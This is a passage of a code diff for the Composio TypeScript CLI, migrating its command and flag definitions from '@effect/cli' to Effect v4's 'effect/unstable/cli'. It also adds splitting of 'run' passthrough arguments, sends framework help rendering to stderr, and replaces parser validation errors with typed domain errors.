258 +// invocation. Only direct programmatic/test invocations that bypass this
259 +// front door fall back to the parsed value (see `RunPassthroughArgs`'s doc
260 +// comment in `run.cmd.ts`).
261 +
262 +type RunPassthroughSplit = {
263 + readonly argv: ReadonlyArray<string>;
264 + readonly tail: ReadonlyArray<string> | undefined;
265 +};
266 +
267 +const splitRunPassthroughArgs = (argv: ReadonlyArray<string>): RunPassthroughSplit => {
268 + const args = Arr.drop(argv, 2);
269 + if (args[0] !== 'run') {
270 + return { argv, tail: undefined };
271 + }
272 +
273 + const normalized: Array<string> = [];
274 + const tail: Array<string> = [];
275 + let sawPositional = false;
276 + let droppedSeparator = false;
277 + let index = 1;
278 + while (index < args.length) {
279 + const token = args[index];
280 + if (!sawPositional) {
281 + // A `--flag=value` token must be recognized by its name, not the whole
282 + // token: `--file=script.ts` is a `run` option, and treating it as the
283 + // first positional would demote every later flag (including safety
284 + // flags like `--dry-run`) to the passthrough tail.
285 + const equalsIndex = token.indexOf('=');
286 + const flagName = equalsIndex === -1 ? token : token.slice(0, equalsIndex);
287 + if (RUN_KNOWN_VALUE_FLAGS.has(flagName)) {
288 + normalized.push(token);
289 + if (equalsIndex === -1) {
290 + const value = args[index + 1];
291 + if (value !== undefined) {
292 + normalized.push(value);
293 + }
294 + index += 2;
295 + continue;
296 + }
297 + index += 1;
298 + continue;
299 + }
300 + if (RUN_KNOWN_BOOLEAN_FLAGS.has(flagName)) {
301 + normalized.push(token);
302 + index += 1;
303 + continue;
304 + }
305 + // First token that isn't a `run`-recognized flag: everything from here
306 + // on is the passthrough tail, not a `run` option. A literal `--` here
307 + // is just the (now unnecessary) boundary marker itself.
308 + sawPositional = true;
309 + if (token === '--') {
310 + droppedSeparator = true;
311 + } else {
312 + tail.push(token);
313 + }
314 + index += 1;
315 + continue;
316 + }
317 + if (token === '--') {
318 + // Only the first `--` is the run/script boundary; later ones are script
319 + // arguments and must reach the script verbatim (matches v3's
320 + // forwarding behavior).
321 + if (!droppedSeparator) {
322 + droppedSeparator = true;
323 + index += 1;
324 + continue;
325 + }
326 + tail.push('--');
327 + index += 1;
328 + continue;
329 + }
330 + tail.push(token);
331 + index += 1;
332 + }
333 +
334 + return { argv: [...Arr.take(argv, 2), 'run', ...normalized], tail };
335 +};
336 +
337 const parseBooleanFlag = (argument: string, name: string): Option.Option<boolean> => {
338 if (argument === name || argument === `${name}=true`) {
339 return Option.some(true);
@@ -468,12 +518,45 @@ export const runWithConfig = Effect.gen(function* () {
518 };
519 const version = yield* getVersion;
520 configureCliAnalyticsReleaseVersion(version);
471 - const rootCommand = withBackgroundUpdateCheck(buildRootCommand(visibility));
472 - const run = Command.run(rootCommand, {
473 - name: 'composio',
474 - executable: 'composio',
475 - version,
476 - });
521 + const rootCommand = withRootLogLevel(
522 + withBackgroundUpdateCheck($defaultCmd, getVisibleRootCommands(visibility))
523 + );
524 + // v4's `Command.runWith` (unlike v3's `Command.run`) takes explicit arguments rather than
525 + // pulling them from `Stdio`, and expects them *without* the node/bun executable + script path
526 + // prefix — see `cli-main.ts` module docs for the full contract at this boundary.
527 + const run = Command.runWith(rootCommand, { version });
528 +
529 + // `Command.runWith` renders the help document for a failed parse through the
530 + // ambient Console's `log` (stdout) before re-failing with `ShowHelp` (see
531 + // the vendored `Command.ts` `showHelp`, ~line 1453). Verified this Console
532 + // swap is the best available seam, not just the easiest: v4's
533 + // `CliOutput.Formatter` only formats to strings and cannot choose a stream,
534 + // and `showHelp` hardcodes `Console.log` with no parameter to override it,
535 + // so the only alternative would be reimplementing `runWith` itself.
536 + // Composio's output contract reserves stdout for data: help belongs there
537 + // only when the user explicitly asked for it (`--help`/`-h`; `--version`/`-v`
538 + // never reach the parser, `normalizeVersionFlag` rewrites them to the
539 + // `version` command). For every other invocation the framework's rendering is
540 + // decoration, so the runner gets a Console whose `log` writes through
541 + // `error`. No CLI code emits data via the Effect Console service (handlers
542 + // write through `TerminalUI`), so this only affects the framework's own
543 + // help/error rendering.
544 + const runWithDecorationOnStderr = (args: ReadonlyArray<string>) =>
545 + Effect.gen(function* () {
546 + const base = yield* Console.Console;
547 + // Node/Bun consoles carry their methods as own (bound) properties and the
548 + // test MockConsole is a plain object literal, so a spread copies every
549 + // method; only `log` needs overriding.
550 + return yield* Effect.provideService(run(args), Console.Console, {
551 + ...base,
552 + log: (...rest) => base.error(...rest),
553 + });
554 + });
555 +
556 + const EXPLICIT_STDOUT_FLAGS: ReadonlySet<string> = new Set(['--help', '-h']);
557 +
558 + const runCli = (args: ReadonlyArray<string>) =>
559 + args.some(arg => EXPLICIT_STDOUT_FLAGS.has(arg)) ? run(args) : runWithDecorationOnStderr(args);
560
561 const routeRootCommand = (normalizedArgv: ReadonlyArray<string>, dangerouslyAllow: boolean) => {
562 const args = normalizedArgv.slice(2);
@@ -520,26 +603,20 @@ export const runWithConfig = Effect.gen(function* () {
603 yield* ui.log.step('Re-run the command with `--dangerously-allow`.');
604 return;
605 }
523 - return yield* run(normalizedArgv);
606 + return yield* runCli(args);
607 });
608 }
526 - return preflightParse(rootCommand, normalizedArgv).pipe(
527 - Effect.matchEffect({
528 - onFailure: error =>
529 - ValidationError.isCommandMismatch(error)
530 - ? refineRootCommandMismatch(normalizedArgv, visibility, error)
531 - : run(normalizedArgv),
532 - onSuccess: () => run(normalizedArgv),
533 - })
534 - );
609 + return runCli(args);
610 };
611
612 return (argv: ReadonlyArray<string>, bootstrap: RootCommandBootstrap = {}) => {
613 const { argv: argvWithoutDangerouslyAllow, dangerouslyAllow } =
614 normalizeDangerouslyAllowFlag(argv);
540 - const { argv: normalizedArgv, overrides } = normalizeHiddenDebugFlags(
615 + const { argv: argvWithoutDebugFlags, overrides } = normalizeHiddenDebugFlags(
616 normalizeListenStreamFlag(normalizeVersionFlag(argvWithoutDangerouslyAllow))
617 );
618 + const { argv: normalizedArgv, tail: runPassthroughTail } =
619 + splitRunPassthroughArgs(argvWithoutDebugFlags);
620
621 return parseRootInstallSkillRequest(normalizedArgv).pipe(
622 Effect.flatMap(
@@ -548,7 +625,8 @@ export const runWithConfig = Effect.gen(function* () {
625 onSome: installSkill,
626 })
627 ),
551 - Effect.provide(Layer.merge(cliDebugFlagsLayer(overrides), cliRunIdLayer(bootstrap.runId)))
628 + Effect.provide(Layer.merge(cliDebugFlagsLayer(overrides), cliRunIdLayer(bootstrap.runId))),
629 + Effect.provideService(RunPassthroughArgs, runPassthroughTail)
630 );
631 };
632 });
ts/packages/cli/src/commands/init.cmd.ts
+8 -10
@@ -1,7 +1,7 @@
1 -import { Command as CliCommand, Options } from '@effect/cli';
1 +import { Command as CliCommand, Flag } from 'effect/unstable/cli';
2 import { Effect, Option } from 'effect';
3 -import * as FileSystem from '@effect/platform/FileSystem';
4 -import * as Path from '@effect/platform/Path';
3 +import * as FileSystem from 'effect/FileSystem';
4 +import * as Path from 'effect/Path';
5 import { ComposioUserContext } from 'src/services/user-context';
6 import { NodeProcess } from 'src/services/node-process';
7 import { projectKeysToJSON, type ProjectKeys } from 'src/models/project-keys';
@@ -31,10 +31,10 @@ import { setupCacheDir } from 'src/effects/setup-cache-dir';
31 * - `--yes` / `-y` — auto-select the first project from the list
32 */
33
34 -const yesOpt = Options.boolean('yes').pipe(
35 - Options.withAlias('y'),
36 - Options.withDefault(false),
37 - Options.withDescription('Auto-select the current org project, else first developer project')
34 +const yesOpt = Flag.boolean('yes').pipe(
35 + Flag.withAlias('y'),
36 + Flag.withDefault(false),
37 + Flag.withDescription('Auto-select the current org project, else first developer project')
38 );
39
40 // ---------------------------------------------------------------------------
@@ -46,9 +46,7 @@ const writeProjectConfig = (composioDir: string, selected: ProjectKeys) =>
46 const fs = yield* FileSystem.FileSystem;
47 const path = yield* Path.Path;
48
49 - yield* fs
50 - .makeDirectory(composioDir, { recursive: true })
51 - .pipe(Effect.catchAll(() => Effect.void));
49 + yield* fs.makeDirectory(composioDir, { recursive: true }).pipe(Effect.catch(() => Effect.void));
50
51 const projectJson = yield* projectKeysToJSON(selected);
52 yield* fs.writeFileString(
ts/packages/cli/src/commands/install.cmd.ts
+21 -21
@@ -1,7 +1,7 @@
1 -import { Command, Options } from '@effect/cli';
2 -import * as FileSystem from '@effect/platform/FileSystem';
3 -import * as Path from '@effect/platform/Path';
4 -import type { PlatformError } from '@effect/platform/Error';
1 +import { Command, Flag } from 'effect/unstable/cli';
2 +import * as FileSystem from 'effect/FileSystem';
3 +import * as Path from 'effect/Path';
4 +import type { PlatformError } from 'effect/PlatformError';
5 import { Array as Arr, Config, ConfigProvider, Data, Effect, Option } from 'effect';
6 import { APP_CONFIG } from 'src/effects/app-config';
7 import { ComposioCliUserConfig } from 'src/services/cli-user-config';
@@ -15,21 +15,21 @@ import { atomicWriteFileString } from 'src/utils/atomic-write';
15 // Options
16 // ---------------------------------------------------------------------------
17
18 -const completionsOpt = Options.boolean('completions').pipe(
19 - Options.withDescription('Install shell completions.'),
20 - Options.withDefault(false)
18 +const completionsOpt = Flag.boolean('completions').pipe(
19 + Flag.withDescription('Install shell completions.'),
20 + Flag.withDefault(false)
21 );
22
23 -const noCompletionsOpt = Options.boolean('no-completions').pipe(
24 - Options.withDescription('Deprecated: shell completions are skipped by default.'),
25 - Options.withDefault(false)
23 +const noCompletionsOpt = Flag.boolean('no-completions').pipe(
24 + Flag.withDescription('Deprecated: shell completions are skipped by default.'),
25 + Flag.withDefault(false)
26 );
27
28 const SHELLS = ['zsh', 'bash', 'fish'] as const;
29
30 -const shellOpt = Options.choice('shell', SHELLS).pipe(
31 - Options.withDescription('Override automatic shell detection.'),
32 - Options.optional
30 +const shellOpt = Flag.choice('shell', SHELLS).pipe(
31 + Flag.withDescription('Override automatic shell detection.'),
32 + Flag.optional
33 );
34
35 // ---------------------------------------------------------------------------
@@ -86,12 +86,12 @@ const UNSAFE_PATH_CHARS = /[`$"\\\n\r:]/;
86 const isUnsafePath = (p: string): boolean => UNSAFE_PATH_CHARS.test(p);
87
88 // SHELL and PATH are POSIX-standard host variables, so the CLI's COMPOSIO_
89 -// prefix does not apply to them.
90 -const environmentProvider = ConfigProvider.fromEnv();
91 -
92 -/** Read an env var from the raw environment, falling back when unset. */
89 +// prefix does not apply to them. The provider is built per read because
90 +// `ConfigProvider.fromEnv` snapshots the environment when constructed.
91 const readEnvWithDefault = (name: string, fallback: string): Effect.Effect<string> =>
94 - Effect.orDie(environmentProvider.load(Config.string(name).pipe(Config.withDefault(fallback))));
92 + Effect.orDie(
93 + Config.string(name).pipe(Config.withDefault(fallback)).parse(ConfigProvider.fromEnv())
94 + );
95
96 const detectShellFromEnv = (path: Path.Path, shellEnv: string): Shell | undefined => {
97 const base = path.basename(shellEnv);
@@ -485,7 +485,7 @@ const appendQueuedBlocks = (params: {
485 yield* fs
486 .makeDirectory(path.dirname(writeTarget), { recursive: true })
487 .pipe(
488 - Effect.catchAll(e =>
488 + Effect.catch(e =>
489 Effect.logDebug('Could not create parent directory (may already exist):', e)
490 )
491 );
@@ -597,7 +597,7 @@ const readMaybeMissingFile = (
597 fs
598 .readFileString(filePath)
599 .pipe(
600 - Effect.catchAll(e =>
600 + Effect.catch(e =>
601 Effect.logDebug('File does not exist yet, will create:', e).pipe(Effect.as(''))
602 )
603 );
@@ -609,7 +609,7 @@ const resolveWriteTarget = (
609 ): Effect.Effect<string, PlatformError> =>
610 fs.readLink(filePath).pipe(
611 Effect.flatMap(() => fs.realPath(filePath)),
612 - Effect.catchAll(() => Effect.succeed(filePath))
612 + Effect.catch(() => Effect.succeed(filePath))
613 );
614
615 // ---------------------------------------------------------------------------
ts/packages/cli/src/commands/listen.cmd.ts
+36 -32
@@ -1,8 +1,8 @@
1 -import { Args, Command, HelpDoc, Options, ValidationError } from '@effect/cli';
2 -import * as FileSystem from '@effect/platform/FileSystem';
3 -import * as Path from '@effect/platform/Path';
1 +import { Argument, Command, Flag } from 'effect/unstable/cli';
2 +import * as FileSystem from 'effect/FileSystem';
3 +import * as Path from 'effect/Path';
4 import type { Composio as RawComposioClient } from '@composio/client';
5 -import { Data, Deferred, Effect, Either, Option, Predicate, Runtime } from 'effect';
5 +import { Data, Deferred, Effect, Result, Option, Predicate } from 'effect';
6 import { requireAuth } from 'src/effects/require-auth';
7 import { resolveOptionalTextInput } from 'src/effects/resolve-optional-text-input';
8 import { ComposioClientSingleton } from 'src/services/composio-clients';
@@ -43,53 +43,57 @@ export class ListenCommandError extends Data.TaggedError('commands/ListenCommand
43 readonly cause?: unknown;
44 }> {}
45
46 -const invalidOptionValue = (message: string) => ValidationError.invalidValue(HelpDoc.p(message));
46 +class ListenOptionError extends Data.TaggedError('commands/ListenOptionError')<{
47 + readonly message: string;
48 +}> {}
49 +
50 +const invalidOptionValue = (message: string) => new ListenOptionError({ message });
51
52 const errorMessage = (error: unknown): string =>
53 Predicate.isError(error) ? error.message : String(error);
54
51 -const slug = Args.text({ name: 'slug' }).pipe(
52 - Args.withDescription(
55 +const slug = Argument.string('slug').pipe(
56 + Argument.withDescription(
57 'Trigger slug (e.g. "GMAIL_NEW_GMAIL_MESSAGE") or project event type (e.g. "composio.connected_account.expired")'
58 )
59 );
60
57 -const params = Options.text('params').pipe(
58 - Options.withAlias('p'),
59 - Options.withDescription(
61 +const params = Flag.string('params').pipe(
62 + Flag.withAlias('p'),
63 + Flag.withDescription(
64 'Trigger create params as JSON/JS object, @file, or - for stdin. Only valid for trigger slugs.'
65 ),
62 - Options.optional
66 + Flag.optional
67 );
68
65 -const maxEvents = Options.integer('max-events').pipe(
66 - Options.withDescription('Stop after receiving N matching events'),
67 - Options.optional
69 +const maxEvents = Flag.integer('max-events').pipe(
70 + Flag.withDescription('Stop after receiving N matching events'),
71 + Flag.optional
72 );
73
70 -const timeout = Options.text('timeout').pipe(
71 - Options.withDescription('Stop after a duration such as "5m", "1hr", or "30s"'),
72 - Options.optional
74 +const timeout = Flag.string('timeout').pipe(
75 + Flag.withDescription('Stop after a duration such as "5m", "1hr", or "30s"'),
76 + Flag.optional
77 );
78
75 -const stream = Options.text('stream').pipe(
76 - Options.withDescription(
79 +const stream = Flag.string('stream').pipe(
80 + Flag.withDescription(
81 'Also stream each event payload inline. Pass an optional jq-like path such as ".thread.id" or ".data[0].id".'
82 ),
79 - Options.optional
83 + Flag.optional
84 );
81 -const account = Options.text('account').pipe(
82 - Options.withDescription(
85 +const account = Flag.string('account').pipe(
86 + Flag.withDescription(
87 'Connected account selector. Matches alias, word_id, or connected account id for the inferred toolkit.'
88 ),
85 - Options.optional
89 + Flag.optional
90 );
91
88 -const debug = Options.boolean('debug').pipe(
89 - Options.withDescription(
92 +const debug = Flag.boolean('debug').pipe(
93 + Flag.withDescription(
94 'Print verbose debug information (raw events, filter results, Pusher state)'
95 ),
92 - Options.withDefault(false)
96 + Flag.withDefault(false)
97 );
98
99 const sanitizePathPart = (value: string): string =>
@@ -123,7 +127,7 @@ const resolveParamsInput = (input: Option.Option<string>) =>
127
128 const parseCreateParams = (raw: string) =>
129 parseJsonRecord(raw).pipe(
126 - Either.mapLeft(error =>
130 + Result.mapError(error =>
131 invalidOptionValue(
132 error.reason === 'not-a-record'
133 ? "Expected --params to be an object, e.g. -p '{ trigger_config: { ... } }'."
@@ -222,7 +226,7 @@ const eventTypeOf = (eventData: Record<string, unknown>): string | undefined =>
226 typeof eventData.type === 'string' && eventData.type.length > 0 ? eventData.type : undefined;
227
228 const extractEventFileId = (eventData: Record<string, unknown>): string => {
225 - const metadata = Predicate.isRecord(eventData.metadata) ? eventData.metadata : undefined;
229 + const metadata = Predicate.isObject(eventData.metadata) ? eventData.metadata : undefined;
230 const candidates = [eventData.id, eventData.log_id, metadata?.id];
231
232 for (const candidate of candidates) {
@@ -283,7 +287,7 @@ const applyStreamPath = (value: unknown, pathTokens: ReadonlyArray<string | numb
287 continue;
288 }
289
286 - if (!Predicate.isRecord(current)) {
290 + if (!Predicate.isObject(current)) {
291 return undefined;
292 }
293
@@ -386,7 +390,7 @@ const resolveListenSetup = (params: {
390 const rawParams = Option.isSome(params.inputParams)
391 ? (yield* resolveParamsInput(params.inputParams))?.trim() || '{}'
392 : '{}';
389 - const createParamsInput = yield* parseCreateParams(rawParams);
393 + const createParamsInput = yield* Effect.fromResult(parseCreateParams(rawParams));
394 yield* assertSupportedListenParams({
395 listeningToProjectEvent,
396 slug: params.slug,
@@ -439,7 +443,7 @@ export const listenCmd = Command.make(
443 const ui = yield* TerminalUI;
444 const fs = yield* FileSystem.FileSystem;
445 const path = yield* Path.Path;
442 - const runtime = yield* Effect.runtime<never>();
446 + const services = yield* Effect.context<never>();
447 const clientSingleton = yield* ComposioClientSingleton;
448 const realtime = yield* TriggersRealtime;
449
@@ -530,7 +534,7 @@ export const listenCmd = Command.make(
534 }
535
536 const onEvent = (eventData: Record<string, unknown>) => {
533 - Runtime.runFork(runtime)(
537 + Effect.runForkWith(services)(
538 Effect.gen(function* () {
539 if (debug) {
540 yield* emitStreamLine(
ts/packages/cli/src/commands/local-tools/commands/local-tools.configure.cmd.ts
+39 -24
@@ -1,4 +1,4 @@
1 -import { Args, Command, HelpDoc, Options, ValidationError } from '@effect/cli';
1 +import { Argument, Command, Flag } from 'effect/unstable/cli';
2 import {
3 getLocalToolsMetaPath,
4 isLocalToolkitSlug,
@@ -11,38 +11,38 @@ import { Data, Effect, Option, Predicate } from 'effect';
11 import { TerminalUI } from 'src/services/terminal-ui';
12 import { bold, gray } from 'src/ui/colors';
13
14 -const selector = Args.text({ name: 'selector' }).pipe(
15 - Args.withDescription('Local toolkit slug or LOCAL_* tool slug to configure')
14 +const selector = Argument.string('selector').pipe(
15 + Argument.withDescription('Local toolkit slug or LOCAL_* tool slug to configure')
16 );
17
18 -const command = Options.text('command').pipe(
19 - Options.optional,
20 - Options.withDescription('Override the local binary/launcher command')
18 +const command = Flag.string('command').pipe(
19 + Flag.optional,
20 + Flag.withDescription('Override the local binary/launcher command')
21 );
22
23 -const disable = Options.boolean('disable').pipe(
24 - Options.withDefault(false),
25 - Options.withDescription('Disable this local toolkit/tool')
23 +const disable = Flag.boolean('disable').pipe(
24 + Flag.withDefault(false),
25 + Flag.withDescription('Disable this local toolkit/tool')
26 );
27
28 -const enable = Options.boolean('enable').pipe(
29 - Options.withDefault(false),
30 - Options.withDescription('Enable this local toolkit/tool by clearing disabled=false')
28 +const enable = Flag.boolean('enable').pipe(
29 + Flag.withDefault(false),
30 + Flag.withDescription('Enable this local toolkit/tool by clearing disabled=false')
31 );
32
33 -const authenticated = Options.boolean('authenticated').pipe(
34 - Options.withDefault(false),
35 - Options.withDescription('Mark this local toolkit/tool as authenticated in metadata')
33 +const authenticated = Flag.boolean('authenticated').pipe(
34 + Flag.withDefault(false),
35 + Flag.withDescription('Mark this local toolkit/tool as authenticated in metadata')
36 );
37
38 -const unauthenticated = Options.boolean('unauthenticated').pipe(
39 - Options.withDefault(false),
40 - Options.withDescription('Mark this local toolkit/tool as unauthenticated in metadata')
38 +const unauthenticated = Flag.boolean('unauthenticated').pipe(
39 + Flag.withDefault(false),
40 + Flag.withDescription('Mark this local toolkit/tool as unauthenticated in metadata')
41 );
42
43 -const json = Options.boolean('json').pipe(
44 - Options.withDefault(false),
45 - Options.withDescription('Print the updated metadata entry as JSON')
43 +const json = Flag.boolean('json').pipe(
44 + Flag.withDefault(false),
45 + Flag.withDescription('Print the updated metadata entry as JSON')
46 );
47
48 type ConfigureTarget =
@@ -69,7 +69,20 @@ export class LocalToolsConfigureError extends Data.TaggedError(
69 const errorMessage = (error: unknown): string =>
70 Predicate.isError(error) ? error.message : String(error);
71
72 -const invalidValue = (message: string) => ValidationError.invalidValue(HelpDoc.p(message));
72 +/**
73 + * Business-level validation failure for `local-tools configure` inputs
74 + * (unknown selector, conflicting/empty flag combinations) that are only
75 + * knowable after parsing. See the analogous comment on `LinkInputError` in
76 + * `connected-accounts.link.cmd.ts` for why this is a plain typed domain
77 + * error rather than a `CliError.InvalidValue` in v4.
78 + */
79 +class LocalToolsConfigureInputError extends Data.TaggedError(
80 + 'commands/local-tools/LocalToolsConfigureInputError'
81 +)<{
82 + readonly message: string;
83 +}> {}
84 +
85 +const invalidValue = (message: string) => new LocalToolsConfigureInputError({ message });
86
87 const resolveTarget = (value: string): ConfigureTarget | null => {
88 const localTool = resolveLocalTool(value, { includeUnsupported: true });
@@ -176,8 +189,10 @@ export const localToolsCmd$Configure = Command.make(
189 const entry =
190 target.kind === 'toolkit' ? metadata.toolkits[target.key] : metadata.tools[target.key];
191 if (!entry) {
179 - return yield* Effect.dieMessage(
180 - `Local tools metadata invariant violated: ${target.kind} ${target.key} was not updated`
192 + return yield* Effect.die(
193 + new Error(
194 + `Local tools metadata invariant violated: ${target.kind} ${target.key} was not updated`
195 + )
196 );
197 }
198 const metadataPath = getLocalToolsMetaPath();
ts/packages/cli/src/commands/local-tools/commands/local-tools.doctor.cmd.ts
+13 -13
@@ -1,4 +1,4 @@
1 -import { Command, Options } from '@effect/cli';
1 +import { Command, Flag } from 'effect/unstable/cli';
2 import {
3 checkLocalToolkitsReadiness,
4 formatSupportedPlatforms,
@@ -11,24 +11,24 @@ import { TerminalUI } from 'src/services/terminal-ui';
11 import { bold, gray, green, red } from 'src/ui/colors';
12 import { truncate } from 'src/ui/truncate';
13
14 -const json = Options.boolean('json').pipe(
15 - Options.withDefault(false),
16 - Options.withDescription('Print readiness report as JSON')
14 +const json = Flag.boolean('json').pipe(
15 + Flag.withDefault(false),
16 + Flag.withDescription('Print readiness report as JSON')
17 );
18
19 -const allPlatforms = Options.boolean('all-platforms').pipe(
20 - Options.withDefault(false),
21 - Options.withDescription('Include local toolkits that are not supported on this CLI platform')
19 +const allPlatforms = Flag.boolean('all-platforms').pipe(
20 + Flag.withDefault(false),
21 + Flag.withDescription('Include local toolkits that are not supported on this CLI platform')
22 );
23
24 -const strict = Options.boolean('strict').pipe(
25 - Options.withDefault(false),
26 - Options.withDescription('Exit with an error when any visible local tool is not ready')
24 +const strict = Flag.boolean('strict').pipe(
25 + Flag.withDefault(false),
26 + Flag.withDescription('Exit with an error when any visible local tool is not ready')
27 );
28
29 -const toolkits = Options.text('toolkits').pipe(
30 - Options.optional,
31 - Options.withDescription('Filter by local toolkit slugs, comma-separated')
29 +const toolkits = Flag.string('toolkits').pipe(
30 + Flag.optional,
31 + Flag.withDescription('Filter by local toolkit slugs, comma-separated')
32 );
33
34 export class LocalToolsDoctorError extends Data.TaggedError(
ts/packages/cli/src/commands/local-tools/commands/local-tools.list.cmd.ts
+10 -10
@@ -1,4 +1,4 @@
1 -import { Command, Options } from '@effect/cli';
1 +import { Command, Flag } from 'effect/unstable/cli';
2 import {
3 detectCliPlatform,
4 formatSupportedPlatforms,
@@ -13,19 +13,19 @@ import { TerminalUI } from 'src/services/terminal-ui';
13 import { bold, gray } from 'src/ui/colors';
14 import { truncate } from 'src/ui/truncate';
15
16 -const json = Options.boolean('json').pipe(
17 - Options.withDefault(false),
18 - Options.withDescription('Print local tool declarations as JSON')
16 +const json = Flag.boolean('json').pipe(
17 + Flag.withDefault(false),
18 + Flag.withDescription('Print local tool declarations as JSON')
19 );
20
21 -const allPlatforms = Options.boolean('all-platforms').pipe(
22 - Options.withDefault(false),
23 - Options.withDescription('Include local toolkits that are not supported on this CLI platform')
21 +const allPlatforms = Flag.boolean('all-platforms').pipe(
22 + Flag.withDefault(false),
23 + Flag.withDescription('Include local toolkits that are not supported on this CLI platform')
24 );
25
26 -const toolkits = Options.text('toolkits').pipe(
27 - Options.optional,
28 - Options.withDescription('Filter by local toolkit slugs, comma-separated')
26 +const toolkits = Flag.string('toolkits').pipe(
27 + Flag.optional,
28 + Flag.withDescription('Filter by local toolkit slugs, comma-separated')
29 );
30
31 const parseToolkitFilter = (value: Option.Option<string>): ReadonlyArray<string> | undefined => {
ts/packages/cli/src/commands/local-tools/commands/local-tools.meta.cmd.ts
+7 -7
@@ -1,4 +1,4 @@
1 -import { Command, Options } from '@effect/cli';
1 +import { Command, Flag } from 'effect/unstable/cli';
2 import {
3 createEmptyLocalToolsMeta,
4 getLocalToolsMetaPath,
@@ -14,14 +14,14 @@ class LocalToolsMetaError extends Data.TaggedError('commands/LocalToolsMetaError
14 readonly cause: unknown;
15 }> {}
16
17 -const json = Options.boolean('json').pipe(
18 - Options.withDefault(false),
19 - Options.withDescription('Print the metadata file contents as JSON')
17 +const json = Flag.boolean('json').pipe(
18 + Flag.withDefault(false),
19 + Flag.withDescription('Print the metadata file contents as JSON')
20 );
21
22 -const init = Options.boolean('init').pipe(
23 - Options.withDefault(false),
24 - Options.withDescription('Create ~/composio/local_tools.json if it does not exist')
22 +const init = Flag.boolean('init').pipe(
23 + Flag.withDefault(false),
24 + Flag.withDescription('Create ~/composio/local_tools.json if it does not exist')
25 );
26
27 export const localToolsCmd$Meta = Command.make('meta', { json, init }, ({ json, init }) =>
ts/packages/cli/src/commands/local-tools/local-tools.cmd.ts
+1 -1
@@ -1,4 +1,4 @@
1 -import { Command } from '@effect/cli';
1 +import { Command } from 'effect/unstable/cli';
2 import { localToolsCmd$Configure } from './commands/local-tools.configure.cmd';
3 import { localToolsCmd$Doctor } from './commands/local-tools.doctor.cmd';
4 import { localToolsCmd$List } from './commands/local-tools.list.cmd';
ts/packages/cli/src/commands/login.cmd.ts
+77 -60
@@ -1,6 +1,6 @@
1 -import { Command, HelpDoc, Options, ValidationError } from '@effect/cli';
2 -import * as FileSystem from '@effect/platform/FileSystem';
3 -import * as Path from '@effect/platform/Path';
1 +import { Command, Flag } from 'effect/unstable/cli';
2 +import * as FileSystem from 'effect/FileSystem';
3 +import * as Path from 'effect/Path';
4 import { Data, DateTime, Effect, Option, Schedule, Schema } from 'effect';
5 import open from 'open';
6 import {
@@ -32,52 +32,52 @@ import {
32 type AgentIdentity,
33 } from 'src/services/agents';
34
35 -export const noBrowser = Options.boolean('no-browser').pipe(
36 - Options.withDefault(false),
37 - Options.withDescription('Login without browser interaction')
35 +export const noBrowser = Flag.boolean('no-browser').pipe(
36 + Flag.withDefault(false),
37 + Flag.withDescription('Login without browser interaction')
38 );
39
40 -const pollOpt = Options.boolean('poll').pipe(
41 - Options.withDefault(false),
42 - Options.withDescription('Poll the most recent pending browser login and complete it')
40 +const pollOpt = Flag.boolean('poll').pipe(
41 + Flag.withDefault(false),
42 + Flag.withDescription('Poll the most recent pending browser login and complete it')
43 );
44
45 -const noWait = Options.boolean('no-wait').pipe(
46 - Options.withDefault(false),
47 - Options.withDescription(
45 +const noWait = Flag.boolean('no-wait').pipe(
46 + Flag.withDefault(false),
47 + Flag.withDescription(
48 'Print login URL and session info, then exit without opening browser or waiting'
49 )
50 );
51
52 -const keyOpt = Options.text('key').pipe(
53 - Options.withDescription('Poll and complete login using the session key from composio login'),
54 - Options.optional
52 +const keyOpt = Flag.string('key').pipe(
53 + Flag.withDescription('Poll and complete login using the session key from composio login'),
54 + Flag.optional
55 );
56
57 -const userApiKeyOpt = Options.text('user-api-key').pipe(
58 - Options.withDescription('Log in directly with a Composio user API key'),
59 - Options.optional
57 +const userApiKeyOpt = Flag.string('user-api-key').pipe(
58 + Flag.withDescription('Log in directly with a Composio user API key'),
59 + Flag.optional
60 );
61
62 -const orgOpt = Options.text('org').pipe(
63 - Options.withDescription('Current organization ID or name to store for CLI commands'),
64 - Options.optional
62 +const orgOpt = Flag.string('org').pipe(
63 + Flag.withDescription('Current organization ID or name to store for CLI commands'),
64 + Flag.optional
65 );
66
67 -const yesOpt = Options.boolean('yes').pipe(
68 - Options.withAlias('y'),
69 - Options.withDefault(false),
70 - Options.withDescription('Skip org picker; use current org')
67 +const yesOpt = Flag.boolean('yes').pipe(
68 + Flag.withAlias('y'),
69 + Flag.withDefault(false),
70 + Flag.withDescription('Skip org picker; use current org')
71 );
72
73 -const noSkillInstall = Options.boolean('no-skill-install').pipe(
74 - Options.withDefault(false),
75 - Options.withDescription('Skip installing the composio-cli skill for Claude Code')
73 +const noSkillInstall = Flag.boolean('no-skill-install').pipe(
74 + Flag.withDefault(false),
75 + Flag.withDescription('Skip installing the composio-cli skill for Claude Code')
76 );
77
78 -const agentOpt = Options.boolean('agent').pipe(
79 - Options.withDefault(false),
80 - Options.withDescription('Sign up or log in using a Composio agent identity')
78 +const agentOpt = Flag.boolean('agent').pipe(
79 + Flag.withDefault(false),
80 + Flag.withDescription('Sign up or log in using a Composio agent identity')
81 );
82
83 const PENDING_LOGIN_FILE_NAME = 'pending-login-session.json';
@@ -117,7 +117,22 @@ class InvalidOrganizationError extends Data.TaggedError('commands/InvalidOrganiz
117 readonly requestedOrg: string;
118 }> {}
119
120 -const invalidOptionValue = (message: string) => ValidationError.invalidValue(HelpDoc.p(message));
120 +class LoginOptionError extends Data.TaggedError('commands/LoginOptionError')<{
121 + readonly message: string;
122 +}> {}
123 +
124 +/**
125 + * v4 migration note: v3's `ValidationError.invalidValue(HelpDoc.p(message))` produced a value
126 + * that `@effect/cli`'s `Command.run` printed to stderr and mapped to exit code 1 itself.
127 + * `effect/unstable/cli`'s `CliError.InvalidValue` is now a fixed flag/argument-name-and-value
128 + * struct (see `CliError.ts`) built by the parser, not a freeform validation message constructor,
129 + * and `Command.runWith` only renders errors it produces during parsing — it does not intercept or
130 + * render failures raised from inside a command handler. A plain typed domain error (matching the
131 + * `LoginSessionError`/`PendingLoginError` pattern already used in this file) instead flows through
132 + * the CLI's normal `effect-errors` renderer at the top level (see `cli-main.ts`), so this must not
133 + * print the message itself — that would double-print alongside that renderer.
134 + */
135 +const invalidOptionValue = (message: string) => new LoginOptionError({ message });
136
137 const pendingLoginPath = Effect.gen(function* () {
138 const path = yield* Path.Path;
@@ -168,7 +183,7 @@ const readPendingLoginSession = Effect.gen(function* () {
183 })
184 )
185 );
